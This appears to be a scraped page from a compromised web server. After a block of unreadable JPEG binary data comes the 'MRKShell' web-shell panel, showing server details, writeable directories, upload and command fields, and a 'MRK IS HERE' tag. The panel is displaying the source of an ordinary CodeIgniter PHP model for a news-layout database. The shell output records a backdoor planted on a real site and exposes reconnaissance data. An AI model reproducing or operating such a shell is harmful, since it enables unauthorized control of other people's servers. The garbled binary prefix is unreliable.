JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 104.21.73.244  /  Your IP : 104.23.243.234
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/models/mockup_model.php
<?php
class Mockup_model extends CI_Model
{

	/*------------------------------------------------------
	consulta si existe el key en la tabla hash
	------------------------------------------------------*/
	public function existKey($hash,$key)
	{
		
		$this->db->select("mh.*");
		$this->db->from("mockup_hash mh");
		$this->db->where("mh.key",$hash);
		
		$query = $this->db->get();
		$res = $query->result_array();
		
		if(count($res)>0)
		{
			if($res[0]['nombre']=='')
			{
				$datos['nombre']=$key;
				$this->db->where('id', $res[0]['id']);
				$this->db->update('mockup_hash', $datos);
			}
			return $res[0]['id'];
		}
		else
		{
			return false;
		}

	}





	/*------------------------------------------------------
	crear un hash en la tabla hash
	------------------------------------------------------*/
	public function createKey($hash,$key)
	{
		
		$this->db->set('key',$hash);
		$this->db->set('nombre',$key);
		$this->db->insert('mockup_hash');
		
		$id=$this->db->insert_id();
		
		return $id;
	
	}





	/*------------------------------------------------------
	crear un hash en la tabla hash
	------------------------------------------------------*/
	public function createConstructor($id)
	{
		$this->db->set('padre_id_aux',0);
		$this->db->set('hash_id',$id);
		$this->db->set('posicion_aux',0);
		$this->db->set('titulo','Base');
		$this->db->set('div_id','');
		$this->db->set('div_class','container');
		$this->db->set('div_role','');
		$this->db->set('div_tag','div');
		$this->db->set('height','auto');
		$this->db->set('width','');
		$this->db->set('div_visible','0');
		$this->db->set('tipo','0');
		$this->db->set('orden_aux','0');
		$this->db->set('movible','1');
		
		if($this->db->insert('mockup_zonas'))
		{
			$padre = $this->db->insert_id();

			//inserto main
			$this->db->set('padre_id_aux',$padre);
			$this->db->set('hash_id',$id);
			$this->db->set('posicion_aux',1);
			$this->db->set('titulo','Portada');
			$this->db->set('div_id','');
			$this->db->set('div_class','row');
			$this->db->set('div_role','main');
			$this->db->set('div_tag','div');
			$this->db->set('height','auto');
			$this->db->set('width','');
			$this->db->set('div_visible','1');
			$this->db->set('tipo','1');
			$this->db->set('orden_aux','1');
			$this->db->set('movible','0');
			$this->db->insert('mockup_zonas');

			//inserto central
			/*$this->db->set('padre_id_aux',$padre);
			$this->db->set('hash_id',$id);
			$this->db->set('posicion_aux',1);
			$this->db->set('titulo','Central');
			$this->db->set('div_id','');
			$this->db->set('div_class','fl central');
			$this->db->set('div_role','main');
			$this->db->set('div_tag','div');
			$this->db->set('height','auto');
			$this->db->set('width','68%');
			$this->db->set('div_visible','1');
			$this->db->set('tipo','2');
			$this->db->set('orden_aux','2');
			$this->db->set('movible','1');
			$this->db->insert('mockup_zonas');*/

			//inserto derecha
			/*$this->db->set('padre_id_aux',$padre);
			$this->db->set('hash_id',$id);
			$this->db->set('posicion_aux',1);
			$this->db->set('titulo','Derecha');
			$this->db->set('div_id','');
			$this->db->set('div_class','fr der');
			$this->db->set('div_role','');
			$this->db->set('div_tag','div');
			$this->db->set('height','auto');
			$this->db->set('width','29%');
			$this->db->set('div_visible','1');
			$this->db->set('tipo','3');
			$this->db->set('orden_aux','3');
			$this->db->set('movible','1');
			$this->db->insert('mockup_zonas');*/

			return true;
		}
		
		else
		
			return false;
			
	}





	/*------------------------------------------------------
	crea una caja asociada solo al hash_id para utilizar como
	portapapeles
	------------------------------------------------------*/
	public function createPortapapeles($id)
	{
		$this->db->set('id_seccion_aux',0);
		$this->db->set('id_hash',$id);
		$this->db->set('titulo','Portapapeles');
		$this->db->set('orden_aux',0);
		$this->db->set('cont_cant',20);
		$this->db->set('cont_lleva_imagen',0);
		$this->db->set('cont_lleva_bajada',0);
		$this->db->set('cont_lleva_antetitulo',0);
		$this->db->set('portapapeles',1);

		if($this->db->insert('mockup_cajas'))
			
			return true;
		
		else
		
			return false;
			
	}
	
	



	/*------------------------------------------------------
	Obtiene las zonas de un determinado padre
	------------------------------------------------------*/
	public function dameZonas($hash_id,$padre_id,$front=0)
	{
		$this->db->select("z.*");
		$this->db->from("mockup_zonas z");
		$this->db->where("z.hash_id",$hash_id);
		
		if($front==1)
		{
			$this->db->where("z.habilitado",1);
			$this->db->where("z.padre_id",$padre_id);
			$this->db->order_by("z.orden","asc");
		}
		else
		{
			$this->db->where("z.padre_id_aux",$padre_id);
			$this->db->order_by("z.orden_aux","asc");
		}
		
		$query = $this->db->get();
		$res = $query->result_array();
		
		//echo "<pre>".print_r($res,true)."</pre>";

		return $res;
	}





	/*------------------------------------------------------
	Obtiene una zona
	------------------------------------------------------*/
	public function dameZona($hash_id,$zona_id)
	{
		$this->db->select("z.*");
		$this->db->from("mockup_zonas z");
		$this->db->where("z.hash_id",$hash_id);
		$this->db->where("z.id",$zona_id);
		
		$query = $this->db->get();
		$res = $query->result_array();
		
		return $res[0];
	}





	/*------------------------------------------------------
	Obtiene una zona inicial de determinado hash
	------------------------------------------------------*/
	public function DameZonaInicial($hash_id)
	{
		$this->db->select("z.id");
		$this->db->from("mockup_zonas z");
		$this->db->where("z.hash_id",$hash_id);
		$this->db->where("z.padre_id_aux",0);
		
		$query = $this->db->get();
		$res = $query->result_array();
		
		echo "<pre>".print_r($res,true)."</pre>";

		return $res[0]['id'];
	}





	/*------------------------------------------------------
	Obtiene los bloques de una determinada posicion
	------------------------------------------------------*/
	public function dameBloques($hash_id,$padre_id,$front=0)
	{
		$this->db->select("b.*");
		$this->db->from("mockup_bloques b");
		$this->db->where("b.hash_id",$hash_id);
		
		if($front==1)
		{
			$this->db->where("b.habilitado",1);
			$this->db->where("b.padre_id",$padre_id);
			$this->db->order_by("b.orden","asc");
		}
		else
		{
			$this->db->where("b.padre_id_aux",$padre_id);
			$this->db->order_by("b.orden_aux","asc");
		}
		
		$query = $this->db->get();
		$res = $query->result_array();
		
		//echo "<pre>".print_r($res,true)."</pre>";

		return $res;
	}





	/*------------------------------------------------------
	Obtiene las secciones de un lboque determinado
	------------------------------------------------------*/
	public function dameSecciones($hash_id,$padre_id,$front=0)
	{
		$this->db->select("s.*");
		$this->db->from("mockup_secciones s");
		$this->db->where("s.hash_id",$hash_id);
		
		if($front==1)
		{
			$this->db->where("s.habilitado",1);
			$this->db->where("s.padre_id",$padre_id);
			$this->db->order_by("s.orden","asc");
		}
		else
		{
			$this->db->where("s.padre_id_aux",$padre_id);
			$this->db->order_by("s.orden_aux","asc");
		}
		
		$query = $this->db->get();
		$res = $query->result_array();
		
		//echo "<pre>".print_r($res,true)."</pre>";

		return $res;
	}





	/*------------------------------------------------------
	devuelve una seccion
	------------------------------------------------------*/
	public function dameSeccion($seccion_id)
	{
		$this->db->select("s.*");
		$this->db->from("mockup_secciones s");
		$this->db->where("s.id",$seccion_id);
		
		$query = $this->db->get();
		$res = $query->result_array();
		
		//echo "<pre>".print_r($res,true)."</pre>";

		return $res[0];
	}





	/*------------------------------------------------------
	devuelve array de cajas de una seccion determinada
	------------------------------------------------------*/
	public function dameCajas($hash_id,$padre_id)
	{
		
		$this->db->select("c.*");
		$this->db->from("mockup_cajas c");
		$this->db->where("c.id_hash",$hash_id);
		$this->db->where("c.id_seccion_aux",$padre_id);
		$this->db->where("c.portapapeles",0);
		$this->db->order_by("c.orden_aux","asc");
		
		$query = $this->db->get();
		$res = $query->result_array();
		//echo $this->db->last_query(); die();
		return $res;
	
	}





	/*------------------------------------------------------
	devuelve caja
	------------------------------------------------------*/
	public function dameCaja($caja_id)
	{
		
		$this->db->select("c.*");
		$this->db->from("mockup_cajas c");
		$this->db->where("c.id",$caja_id);
		
		$query = $this->db->get();
		$res = $query->result_array();
		
		return $res[0];
	
	}





	/*------------------------------------------------------
	devuelve portapapeles del hash_id
	------------------------------------------------------*/
	public function damePortapapeles($hash_id)
	{
		
		$this->db->select("c.*");
		$this->db->from("mockup_cajas c");
		$this->db->where("c.id_hash",$hash_id);
		$this->db->where("c.portapapeles",1);

		$query = $this->db->get();
		$res = $query->result_array();
		//echo $this->db->last_query(); die();
		return $res[0];
	
	}





	/*------------------------------------------------------
	envia los contenidos de las cajas al portapapeles
	------------------------------------------------------*/
	public function enviaraPortapapeles($portapapeles_id,$cajas_id)
	{

		$datos['caja_id_aux']=$portapapeles_id;
		foreach($cajas_id as $id)
		{
			$this->db->or_where('caja_id_aux', $id);
		}
		$this->db->update('mockup_contenidos', $datos);
		//echo $this->db->last_query(); die();
		return true;

	}





	/*------------------------------------------------------
	devuelve la cantidad de contenidos que tiene una caja
	------------------------------------------------------*/
	public function dameCantContenidosCaja($caja_id)
	{
		$this->db->select("count(c.id) as cant");
		$this->db->from("mockup_contenidos c");
		$this->db->where("c.caja_id_aux",$caja_id);

		$query = $this->db->get();
		$res = $query->result_array();
		//echo $this->db->last_query(); die();
		return $res[0]['cant'];
	}






	/*------------------------------------------------------
	devuelve array de contenidos de una caja determinada
	------------------------------------------------------*/
	public function dameContenidos($caja_id)
	{	
		$this->db->select("c.id,c.id_contenido,c.tipo AS tipo_id,t.tipo,c.fecha");
		$this->db->select("c.nota_antetitulo, c.nota_titulo, c.nota_bajada, c.ruta,c.imagen,c.hora,c.link,c.nota_seccion, c.video_en_nota, c.patrocinado");
		$this->db->select("c.caja_id_aux,c.lleva_link_titulo,c.lleva_imagen,c.lleva_hora,c.lleva_comentarios,c.lleva_firma,c.lleva_relacionadas,c.tiene_video,c.tiene_galeria,c.controlador,c.estilo,c.orden_elementos,c.porcentaje,c.marca,c.mapa");
		$this->db->from("mockup_contenidos c");
		$this->db->join("tipo_contenido t","t.id=c.tipo","inner");
		$this->db->where("c.caja_id_aux",$caja_id);
		$this->db->order_by("c.orden_aux","asc");
		
		$query = $this->db->get();
		$res = $query->result_array();
		//echo $this->db->last_query();
		return $res;
	}





	/*------------------------------------------------------
	devuelve array de estilos de los contenidos
	------------------------------------------------------*/
	public function dameEstilos()
	{
		$array=array();
		$this->db->select("e.estilo,e.titulo");
		$this->db->from("mockup_estilos e");
		$this->db->where("e.habilitado",1);
		$this->db->order_by("e.estilo","asc");
		$query = $this->db->get();
		$array = $query->result_array();
		return $array;
	}	





	/*------------------------------------------------------
	devuelve los tipos de cajas
	------------------------------------------------------*/
	public function dameTipoCajas()
	{
		$this->db->select("t.*");
		$this->db->from("tipo_caja t");
		$this->db->where("t.habilitado",1);
		$this->db->order_by("nombre","asc");
		$query = $this->db->get();
		$res = $query->result_array();
		return $res;
	}





	/*------------------------------------------------------
	devuelve los ordenes de impresion de los elementos de
	la nota
	------------------------------------------------------*/
	public function dameOrden()
	{
		$array=array();
		$this->db->select("o.orden,o.id");
		$this->db->from("mockup_orden o");
		$this->db->where("o.habilitado",1);
		$this->db->order_by("o.id","asc");
		$query = $this->db->get();
		$array = $query->result_array();
		return $array;
	}





	/*------------------------------------------------------
	devuelve las secciones para el filtrado de notas en mockup
	------------------------------------------------------*/
	public function dameSeccionesNotas()
	{
		$array=array();
		$array=$this->dameSeccionesHijas(0,'');
		return $array;
	}	




	/*------------------------------------------------------
	devuelve Los blogs
	------------------------------------------------------*/
	public function dameBlogs()
	{
		$array=array();
		$array=$this->dameHijosBlogs(388,'');
		return $array;
	}	





	/*------------------------------------------------------
	devuelve las secciones hijas en un array
	------------------------------------------------------*/
	public function dameSeccionesHijas($padre,$espacio)
	{
		$array=array();
		$this->db->select("s.id,s.nombre,s.color");
		$this->db->from("tag s");
		$this->db->where("s.padre_id",$padre);
		$this->db->where("s.habilitado",1);
		$this->db->where("s.tipo_id",5);
		$this->db->order_by("s.nombre","asc");
		$query = $this->db->get();
		$res = $query->result_array();
		if(is_array($res))
		{
			foreach($res as $v)
			{
				$array2['id']=$v['id'];
				$array2['color']=$v['color'];
				$array2['nombre']=$espacio.$v['nombre'];
				$array[]=$array2;
				/*$array3=$this->dameSeccionesHijas($v['id'],$espacio.'- - ');
				foreach($array3 as $ak)
				{
					$array[]=$ak;
				}*/
			}
		}
		return $array;
	}





	/*------------------------------------------------------
	devuelve los blogs hijos
	------------------------------------------------------*/
	public function dameHijosBlogs($padre,$espacio)
	{
		$array=array();
		$this->db->select("s.id,s.nombre,s.color");
		$this->db->from("tag s");
		$this->db->where("s.padre_id",$padre);
		$this->db->where("s.tipo_id",5);
		$this->db->order_by("s.nombre","asc");
		$query = $this->db->get();
		$res = $query->result_array();
		if(is_array($res))
		{
			foreach($res as $v)
			{
				$array2['id']=$v['id'];
				$array2['color']=$v['color'];
				$array2['nombre']=$espacio.$v['nombre'];
				$array[]=$array2;
				/*$array3=$this->dameSeccionesHijas($v['id'],$espacio.'- - ');
				foreach($array3 as $ak)
				{
					$array[]=$ak;
				}*/
			}
		}
		return $array;
	}





	/*------------------------------------------------------
	borra una zona
	------------------------------------------------------*/
	public function borrarZona($zona_id)
	{
		$datos['padre_id_aux']=NULL;
		$datos['orden_aux']=NULL;
		$this->db->where('id', $zona_id);
		$this->db->update('mockup_zonas', $datos);
		return true;
	}





	/*------------------------------------------------------
	consulta si tiene hijos la zona en cuestion
	------------------------------------------------------*/
	public function tieneHijos($zona_id)
	{
		$this->db->select("z.*");
		$this->db->from("mockup_zonas z");
		$this->db->where("z.padre_id_aux",$zona_id);
		$query = $this->db->get();
		$res = $query->result_array();
		if(count($res)>0)
		{
			return true;
		}
		else
		{
			return false;
		}
	}





	/*------------------------------------------------------
	borra un bloque
	------------------------------------------------------*/
	public function borrarBloque($bloque_id)
	{
		$this->db->where('id', $bloque_id);
		$this->db->delete('mockup_bloques');
		return true;
	}





	/*------------------------------------------------------
	devuelve el estado de habilitada de la zona
	------------------------------------------------------*/
	public function estaHabilitado($zona_id)
	{
		$this->db->select("z.habilitado_aux");
		$this->db->from("mockup_zonas z");
		$this->db->where("z.id",$zona_id);
		$query = $this->db->get();
		$res = $query->result_array();
		return $res[0]['habilitado_aux'];
	}





	/*------------------------------------------------------
	modifica el estado de habilitada de la zona
	------------------------------------------------------*/
	public function habilitar($zona_id,$hab)
	{	
		$datos['habilitado_aux']=$hab;
		$this->db->where('id', $zona_id);
		$this->db->update('mockup_zonas', $datos);
		return true;		
	}

	public function habilitar_imagen($nota_id,$estado)
	{	
		$datos['lleva_imagen']=$estado;
		$this->db->where('id_contenido', $nota_id);
		$this->db->update('mockup_contenidos', $datos);
		return true;		
	}




	/*------------------------------------------------------
	modifica el estado de habilitada de un bloque
	------------------------------------------------------*/
	public function habilitarBloque($bloque_id,$hab)
	{	
		$datos['habilitado_aux']=$hab;
		$this->db->where('id', $bloque_id);
		$this->db->update('mockup_bloques', $datos);
		return true;		
	}





	/*------------------------------------------------------
	modifica la movilidad de los bloques en unadeterminada
	posicion
	------------------------------------------------------*/
	public function darMovilidad($posicion_id,$valor)
	{	
		$datos['movible']=$valor;
		$this->db->where('id', $posicion_id);
		$this->db->update('mockup_zonas', $datos);
		return true;		
	}





	/*------------------------------------------------------
	actualiza los datos de la zona, indicandole quien es su 
	padre y el orden que tiene como hijo
	------------------------------------------------------*/
	public function indicarPadre($zona_padre,$zona_hijo,$hash_id,$orden)
	{
		$datos['padre_id_aux']=$zona_padre;
		$datos['orden_aux']=$orden;
		//$this->db->where('hash_id', $hash_id);
		$this->db->where('id', $zona_hijo);
		$this->db->update('mockup_zonas', $datos);
		return true;
	}





	/*------------------------------------------------------
	actualiza los datos del bloque, indicandole quien es su 
	padre y el orden que tiene como hijo
	------------------------------------------------------*/
	public function indicarPadreBloque($zona_padre,$bloque_hijo,$hash_id,$orden)
	{
		$datos['padre_id_aux']=$zona_padre;
		$datos['orden_aux']=$orden;
		//$this->db->where('hash_id', $hash_id);
		$this->db->where('id', $bloque_hijo);
		$this->db->update('mockup_bloques', $datos);
		return true;
	}





	/*------------------------------------------------------
	actualiza los datos del tag asociado a dicha seccion
	------------------------------------------------------*/
	public function modificarSeccionAsociada($id_seccion_mockup,$id_tag,$titulo='titulo',$color='')
	{
		$datos['id_encabezado']=$id_tag;
		$datos['titulo_encabezado']=$titulo;
		if($color != '')
		{
			$datos['color_encabezado']=$color;
		}
		$this->db->where('id', $id_seccion_mockup);
		$this->db->update('mockup_secciones', $datos);
		return true;
	}





	/*------------------------------------------------------
	borra una seccion
	------------------------------------------------------*/
	public function borrarSeccion($seccion_id)
	{
		$this->db->where('id', $seccion_id);
		$this->db->delete('mockup_secciones');
		return true;
	}





	/*------------------------------------------------------
	Blanquea una caja. Borra la relacion de los contenidos
	con la caja, para luego relacionarlas nuevamente.
	Si es borrado logico, solo quita la relacion, pero si el 
	borrado es definitivo, directamente elimina el contenido
	Es usado por dos metodos totalmente distintos, y por ello 
	es que usa el parametro logico.
	------------------------------------------------------*/
	public function blanquear_caja($caja_id,$logico=1)
	{
		if($logico==1)
		{
			$datos['caja_id_aux']=0;
			$this->db->where('caja_id_aux', $caja_id);
			$this->db->update('mockup_contenidos', $datos);
		}
		else
		{
			$this->db->where('caja_id_aux', $caja_id);
			$this->db->delete('mockup_contenidos');	
		}
	}





	/*------------------------------------------------------
	borra una caja
	------------------------------------------------------*/
	public function borrarCaja($caja_id)
	{
		$this->db->where('id', $caja_id);
		$this->db->delete('mockup_cajas');
		return true;
	}





	/*------------------------------------------------------
	Borra contenidos
	------------------------------------------------------*/
	public function borrarContenido($cont_id)
	{
		$datos['caja_id_aux']=NULL;
		$datos['orden_aux']=NULL;
		$this->db->where('id', $cont_id);
		//$this->db->update('layout_contenidos', $datos);
		$this->db->delete('mockup_contenidos');
		
		return true;
	}





	/*------------------------------------------------------
	Devuelve ruta e imagen de la nota
	------------------------------------------------------*/
	public function dameImagen($nota_id,$hash_id)
	{
		$this->db->select("c.ruta,c.imagen");
		$this->db->from("mockup_contenidos c");
		$this->db->where("c.hash_id",$hash_id);
		$this->db->where("c.tipo",1);
		$this->db->where("c.id_contenido",$nota_id);
		$query = $this->db->get();
		$res = $query->result_array();
		echo $this->db->last_query();
		return $res[0];
	}





	/*------------------------------------------------------
	COnsulta datos de la nota en el mockup
	------------------------------------------------------*/
	public function consultarNota($id,$hash_id,$nota_id)
	{
		$this->db->select("c.*");
		$this->db->from("mockup_contenidos c");
		$this->db->where("c.id_contenido",$nota_id);
		$this->db->where("c.tipo",1);
		$this->db->where("c.hash_id",$hash_id);
		$this->db->where("c.id",$id);
		$query = $this->db->get();
		$res = $query->result_array();
		return $res[0];
	}





	/*------------------------------------------------------
	actualiza los datos de la nota en mockup y luego la consulta
	para poder mostrarla en el diagramador.
	------------------------------------------------------*/
	public function actualizarNota($id,$id_contenido,$hash_id,$datos)
	{		
		$this->db->where('id', $id);
		$this->db->where('id_contenido', $id_contenido);
		$this->db->where('hash_id', $hash_id);
		$this->db->update('mockup_contenidos', $datos);
		
		$this->db->select("caja_id_aux");
		$this->db->from("mockup_contenidos");
		$this->db->where("id_contenido",$id_contenido);
		$this->db->where("hash_id",$hash_id);
		$this->db->where("id",$id);
		$query = $this->db->get();
		$res = $query->result_array();
		if(count($res)>0)
		{
			return $res[0];
		}
		else
		{
			return false;
		}
	}





	/*------------------------------------------------------
	obtiene los datos de un bloque para clonarlo en el mockup
	------------------------------------------------------*/
	public function dameBloqueClon($bloque_id_clon)
	{
		$this->db->select("*");
		$this->db->from("mockup_bloques_clone");
		$this->db->where("id",$bloque_id_clon);
		$query = $this->db->get();
		$res = $query->result_array();
		if(count($res)>0)
		{
			return $res[0];
		}
		else
		{
			return false;
		}
	}




	/*------------------------------------------------------
	inserta un bloque clonado en el mockup
	------------------------------------------------------*/
	public function insertarBloqueMockup($datos)
	{
	
		$this->db->set('padre_id_aux',$datos['padre_id_aux']);
		$this->db->set('hash_id',$datos['hash_id']);
		$this->db->set('titulo',$datos['titulo']);
		$this->db->set('div_id',$datos['div_id']);
		$this->db->set('div_class',$datos['div_class']);
		$this->db->set('habilitado_aux',$datos['habilitado_aux']);
		$this->db->set('orden_aux',$datos['orden_aux']);
		$this->db->set('tipo',$datos['tipo']);
		$this->db->set('plantilla',$datos['plantilla']);

		$this->db->insert('mockup_bloques');
		$id_bloque=$this->db->insert_id();
		return $id_bloque;
	}





	/*------------------------------------------------------
	obtiene los datos de las secciones para clonarlas en el mockup
	------------------------------------------------------*/
	public function dameSeccionesClones($bloque_id_clon)
	{
		$this->db->select("*");
		$this->db->from("mockup_secciones_clone");
		$this->db->where("padre_id_aux",$bloque_id_clon);
		$query = $this->db->get();
		$res = $query->result_array();
		if(count($res)>0)
		{
			return $res;
		}
		else
		{
			return false;
		}
	}





	/*------------------------------------------------------
	inserta una seccion clonada en el mockup
	------------------------------------------------------*/
	public function insertarSeccionMockup($datos,$bloque_nuevo_id,$hash_id)
	{

		$this->db->set('padre_id_aux',$bloque_nuevo_id);
		$this->db->set('hash_id',$hash_id);
		$this->db->set('titulo',$datos['titulo']);
		$this->db->set('titulo_encabezado',$datos['titulo_encabezado']);
		$this->db->set('div_id',$datos['div_id']);
		$this->db->set('div_class',$datos['div_class']);
		$this->db->set('habilitado_aux',$datos['habilitado_aux']);
		$this->db->set('orden_aux',$datos['orden_aux']);
		$this->db->set('color_encabezado',$datos['color_encabezado']);

		$this->db->insert('mockup_secciones');
		$id_seccion=$this->db->insert_id();
		return $id_seccion;

	}





	/*------------------------------------------------------
	obtiene los datos de las cajas para clonarlas en el mockup
	------------------------------------------------------*/
	public function dameCajasClones($seccion_id_clon)
	{
		$this->db->select("*");
		$this->db->from("mockup_cajas_clone");
		$this->db->where("id_seccion_aux",$seccion_id_clon);
		$query = $this->db->get();
		$res = $query->result_array();
		if(count($res)>0)
		{
			return $res;
		}
		else
		{
			return false;
		}
	}





	/*------------------------------------------------------
	inserta una seccion clonada en el mockup
	------------------------------------------------------*/
	public function insertarCajaMockup($datos,$seccion_nuevo_id,$hash_id)
	{

		$this->db->set('id_seccion_aux',$seccion_nuevo_id);
		$this->db->set('id_hash',$hash_id);

		$this->db->set('titulo',$datos['titulo']);
		$this->db->set('habilitado_aux',$datos['habilitado_aux']);
		$this->db->set('orden_aux',$datos['orden_aux']);

		$this->db->set('class',$datos['class']);
		$this->db->set('cont_class_article',$datos['cont_class_article']);
		$this->db->set('cont_cant',$datos['cont_cant']);
		$this->db->set('cont_image_width',$datos['cont_image_width']);
		$this->db->set('cont_image_height',$datos['cont_image_height']);
		$this->db->set('cont_lleva_imagen',$datos['cont_lleva_imagen']);
		$this->db->set('cont_lleva_bajada',$datos['cont_lleva_bajada']);
		$this->db->set('cont_lleva_redes',$datos['cont_lleva_redes']);
		$this->db->set('cont_lleva_hora',$datos['cont_lleva_hora']);
		$this->db->set('cont_lleva_antetitulo',$datos['cont_lleva_antetitulo']);
		$this->db->set('cont_color_antetitulo',$datos['cont_color_antetitulo']);
		$this->db->set('cont_class_titulo',$datos['cont_class_titulo']);
		$this->db->set('cont_class_div_imagen',$datos['cont_class_div_imagen']);
		$this->db->set('cant_titulo',$datos['cant_titulo']);
		$this->db->set('cant_bajada',$datos['cant_bajada']);
		$this->db->set('design',$datos['design']);
		$this->db->set('plantilla',$datos['plantilla']);


		$this->db->insert('mockup_cajas');
		$id_caja=$this->db->insert_id();
		return $id_caja;

	}





	public function existe_controlador($id,$hash_id)
	{
		$this->db->select("c.id as id_cont");
		$this->db->from("mockup_contenidos c");
		$this->db->where("c.hash_id",$hash_id);
		$this->db->where("c.controlador",$id);
		$query = $this->db->get();
		$res = $query->result_array();
		if(count($res)>0)
			return $res[0]['id_cont'];
		else
			return false;
	}





	public function actualizar_controlador_caja($id_cont,$id,$caja_id,$hash_id,$i)
	{
		$datos['hash_id']=$hash_id;
		$datos['caja_id_aux']=$caja_id;
		$datos['orden_aux']=$i;
		$this->db->where('id', $id_cont);
		if($this->db->update('mockup_contenidos', $datos))
			return true;
		else
			return false;
	}




	
	public function crear_controlador_caja($id,$caja_id,$hash_id,$i)
	{
		$this->db->set('hash_id',$hash_id);
		$this->db->set('id_contenido',$id);
		$this->db->set('controlador',$id);
		$this->db->set('tipo',3);
		$this->db->set('caja_id_aux',$caja_id);
		$this->db->set('orden_aux',$i);
		$this->db->insert('mockup_contenidos');	
		return true;
	}





	public function cambiarBloqueSeccionId($bloque_id,$seccion_id)
	{
		$datos['automatico_id'] = $seccion_id;
		$this->db->where('id', $bloque_id);
		if($this->db->update('mockup_bloques', $datos))
			return true;
		else
			return false;
	}





